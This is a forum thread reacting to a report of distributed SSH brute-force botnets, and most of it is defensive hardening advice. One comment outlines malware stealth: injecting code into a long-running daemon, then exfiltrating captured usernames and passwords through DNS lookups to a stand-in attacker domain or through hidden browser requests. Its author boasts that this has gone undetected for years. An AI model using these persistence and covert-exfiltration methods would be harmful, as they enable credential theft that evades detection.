Distributed, Low-Intensity Botnets 167
badger.foo writes "We have seen the future of botnets, and it is distributed and low-key. Are sites running free software finally becoming malware targets? It all started with a higher-than-usual number of failed ssh logins at a low-volume site. I think we are seeing the shape of botnets to come, with malware authors doing their early public beta testing during the last few weeks."
SSH probes are nothing new (Score:2, Informative)
I get somewhere between twenty and thirty attempts per day agianst my SSH server alone. The server blocks the IP permanently after 3 bad attempts and they always try repeatedly until blocked. most of the attempts come from cable or dsl address spaces. I use gibberish for usernames and only allow certificate based authentication. They still keep trying however.
Go install fail2ban (Score:2, Informative)
fail2ban will watch your log files and when it sees probing will firewall ban the offender. It has virtually eliminated probing attacks on my networks of machines. Sure, a distributed botnet can still probe you, but I haven't seen that happening.
Do be careful though...
ssh login attempts (Score:1, Informative)
I've seen these for years also as knarf has. I had one account compromised (due to a weak password.) What they use is an app that goes through a wordlist of usernames with a shorter list of passwords tried for each username (it was copied onto my system along with a few RIDICULOUSLY ANCIENT rootkits, like 1994 vintage...) It is not equipped to spread automatically, though, everything appears to have been copied over and executed manually. There was an irc program (which would not be able to execute, it was old enough to need like a.out and libc4!) it appears it could have been run to leave the intruder an irc-based backdoor (not a very good one since it wouldn't survive a reboot...), but did not have any sort of conventional botnet functionality.
Nothing new here: use DenyHosts (Score:3, Informative)
These sorts of attacks are nothing new. If you are running an SSH server directly accessible from the Internet, check your /var/log/auth.log log sometime. You may be alarmed by the surprisingly large number of attacks you get every day, even if it is your home IP with no sort of domain name associated.
I like to run DenyHosts [sourceforge.net] on my machines, which watches this log file and adds suspicious IPs to your /etc/hosts.deny. I generally have several new IPs added daily. Also disable remote root logins, because then the attacker has to guess a username and a password: an extra few bits of security (they try "root", then go on to "tester", "tester1", ... , "guest", "guest1", etc.). And, of course, use strong passwords for SSH accounts. In your logs you will find attackers employing dictionary attacks (which DenyHosts will quickly cut off).
Re:Go install fail2ban (Score:5, Informative)
Please read more of the article before posting. The activity being described is a brute-force SSH login attack that is distributed across a botnet.
(Yes, the title of the article is misleading, as botnets are by definition distributed; the interesting bit is that SSH brute-force attacks against a specific host don't seem to have been distributed before.)
Here's the relevant bit:
fail2ban is not effective against this.
Re:Old news (Score:4, Informative)
I have always had a select few hosts which are allowed unconditional access to the server, so if I need to, I'll get access.
Another option is to set up a second SSH daemon on a different port, and which only allows logins using public key (and possibly only by a specific user.) If you get blocked out on port 22, you can just use this side door to get in, as long as you've got your key.
Re:SSH probes are nothing new (Score:3, Informative)
You can cut down on the noise by just moving your ssh port to something other than port 22. Such a move won't stop a serious cracker who will do a port scan, etc. However, since it seems to be sufficient to keep the script kiddies and similar types from doing the sort of stuff described in the article, it means you're far more likely to notice when someone with a little higher skill level tries to crack in.
Best bet if you have a small user base is to only allow public key authentication and move the ssh port. I did that a while ago and now no noise and a good level of security. I've got a full write up on "Securing Secure Shell" at my blog:
http://davenjudy.org/davesBlog/node/24 [davenjudy.org]
Cheers,
Dave
Solution - disable root ssh login, password auth (Score:5, Informative)
SSH keys ensure that you're virtually immune to attacks, since the attack now MUST be brute-force (or break the RSA/DSA algorithms or compromise the server itself rather than an account), and must crack a "password" of over 150 base64 characters representing the 1024 bits of entropy in the key; a completely random printable password of 20 characters has 130 bits of entropy and an 8-word Diceware [wikipedia.org] passphrase has only 120; you're not brute-forcing that.
Preventing root from accessing remotely is just smart (your logs can show who really logged in, your sudo logs show who needed root-level access and when, and you can auto-ban root logins immediately rather than after a set number of failed authentications).
All we're missing is the extension to #3 to handle distributed attack failures (as proposed by the parent post); with the proper protections, this is a bandwidth issue rather than a security issue (unless you're worried about DDoS, but we're talking about low-intensity attacks here).
For those of you stuck permitting passwords, you'll want something like John the Ripper [wikipedia.org] to brute-force users' insecure passwords before the enemies do. This way you can disable their accounts when you find that they are vulnerable and force them to change their password to something more secure.
Re:Nothing new here: use DenyHosts (Score:3, Informative)
Screw that... I went pubkey-only from any directly-exposed hosts awhile ago. Works great. I keep my Blackberry's MidpSSH key on the hosts, then in an emergency I can log in and add a new key if necessary. Plus if people want an account they can just send in a pubkey and I don't have to communicate a password.
Re:ssh -p !22 (Score:3, Informative)
.ssh/config
Host hostname
Port yourport
then you can ssh to hostname and not have to type the port everytime.
Run ssh on a non standard port (Score:3, Informative)
One of the effective ways to not worry about these probes, is to run your ssh daemon on a non standard port.
So, instead of it being on port 22, run it on port 1022 or some other port.
You can do that by modifying your /etc/ssh/sshd_config to contain the line: Port 1022.
This means that scp and ssh will have to be told about the port on the command line though.
Re:Go install fail2ban (Score:3, Informative)
While it's been pointed out that fail2ban isn't effective against this particular attack, I wanted to point out a similar utility called BruteForceBlocker [rulez.sk].
It was written as a reactive firewall that parses pf logs on OpenBSD and FreeBSD (pf is "the iptables of BSD"). The coolest feature IMO is that it's a community effort, in that each participating host can elect to share its logs with a centralized server. That server then publishes a list of recently reported SSH attackers [rulez.sk] which you can script into your firewall rules, even if you aren't running the client. It's like a Vipul's Razor for SSH bruteforce reports.
Since I still use ipfw instead of pf on FreeBSD, I rolled my own implementation, but it still contributes back to the master database of recent attackers.
As an aside, for those who aren't familiar with DShield [dshield.org], it's a community effort where thousands of people submit their IDS logs to create aggregate statistics about intrusion attempts worldwide. And if you happen to run FreeBSD with ipfw as your firewall, check out FreeBSDShield [drunkwerks.com], my DShield reporting client for FreeBSD.
Re:Very interesting; this bypasses my auto-banning (Score:3, Informative)
The only solution I can see to this would be to take an approach similar to the centralized spam-fighting solutions; a DNSBL [wikipedia.org] specialized for brute-force botnets.
Damn! I just posted about this as a reply to a previous thread, and it definitely belongs here instead.
Anyway, check out BruteForceBlocker [rulez.sk], it's exactly what you describe, but it's implemented as a plaintext list instead of a DNSBL. Hosts using BruteForceBlocker can report attacks back to the central server. The list of recently reported attackers [rulez.sk] is public.
It's meant for BSD variants using the pf firewall, but I rolled my own implementation to parse FreeBSD ipfw logs (and report back) in a day or two. A daring volunteer could easily create a fork that works with Linux auth logs and iptables instead. Or set up a DNSBL that parses the list every hour or so and creates the appropriate zones.
Re:Very interesting; this bypasses my auto-banning (Score:3, Informative)
Fail2ban actually bans the offending IP after several failed authentications within a small window of time, and the ban is only for a small window of time ... the purpose is not defensive for security, but rather for bandwidth preservation; it's okay for somebody to try a few pokes here and there, just not a flurry of them.
The only bit that BruteForceBlocker has that fail2ban does not is that of the reporting and checking mechanism, which appears to be a recent addition. I don't see any indication that the blocklist is a well-groomed and up-to-date list, which is huge problem, as most of the IPs used by botnets are dynamic, and any one of them could be cleaned or re-allocated for legitimate use in the future. This lends itself to the same issues as your typical DNSBLs, which is why I proposed such a thing over a more generic blacklist.
Given the issue with maintenance, I'd stay clear of that feature. It might be useful for sharing temporary blocklists between your own servers, but you must be sure to rotate them periodically so that they do not grow stale.
That brings me to the next issue - efficiency. I don't know too much about the inner workings of pf or iptables, but if you have a poorly implemented filter hosting a lookup table with tens of thousands of IPs to check against, you're going to slow your system's entire internet traffic pipe considerably.
Re:Non Distributed Botnets (Score:5, Informative)
Actually botnets watch the IT department.
Is this really a surprise ? Not every hacker is a 10 year old that does it for the kick of announcing himself "master of the network".
These days you write a virus, that stays in the back-back-background (exe injection is one hell of a rootkit-like trick that not a single antivirus vendor detects : you startup. You find some dameon process that's sure as hell not going to get terminated any time soon (on winxp you can actually use the "idle" process), you "debug" the process, insert your own code in it's memory, in a freshly allocated piece, use the debugger to jump into your code, which creates a new thread in it's address space. You clean up, and voila, you'd have to be one hell of an admin to realise what happens on boot. You could even infect svchost.exe on disk).
The hacking programs stay very, very, very low key and use covert channels to send information out, and receive answers. (e.g. user logs in with username password -> daemon looks up aes('$username,$password').some.domain.attacker.owns. The remote dns server is what informs the attacker of the username and password. Or have the webbrowser startup in a hidden window going to "yooptube.com?v="+aes('$username,$password'). You get the idea.
In these days of youtube, myspace and such, such a lookup is not exactly a strange occurance (though I use a "question and answers" site), and used sparingly, will evade any detection system.
Use the enemy's tools against him. Use the webbrowser to connect to the web. Use DNS. Use email. Use ... never try to open an outside connection.
Works wonders. 3 years now, and still not discovered.
Re:Solution - disable root ssh login, password aut (Score:1, Informative)
I see people miss this quite often, so I'll mention it here. If you are using a PAM-aware sshd (I think most distros are now), you MUST also set UsePAM no. Otherwise, PAM will still ask for a password despite your PasswordAuthentication setting. You may not notice since you've (probably) set up your ssh-keys already.
Re:Run ssh on a non standard port (Score:2, Informative)
One major annoyance with the non-standard port is the port flag option passed to both SSH and SCP.
</p></quote>
cat >>
host <somehost>
Port 2222
^D
Fixed!
Re:Run ssh on a non standard port (Score:1, Informative)
Annoying?
>alias sshserver ssh -p2222 server
After only 16 logins you will start to reap the benefits of having to type one blank space less each time you log in. I mean, how good is that!
For additional benefits you may choose a shorter alias and start to reap an even greater benefit, as you will save even more keypresses.
Just think of the time you will be saving! Time better used to find other things to get annoyed at!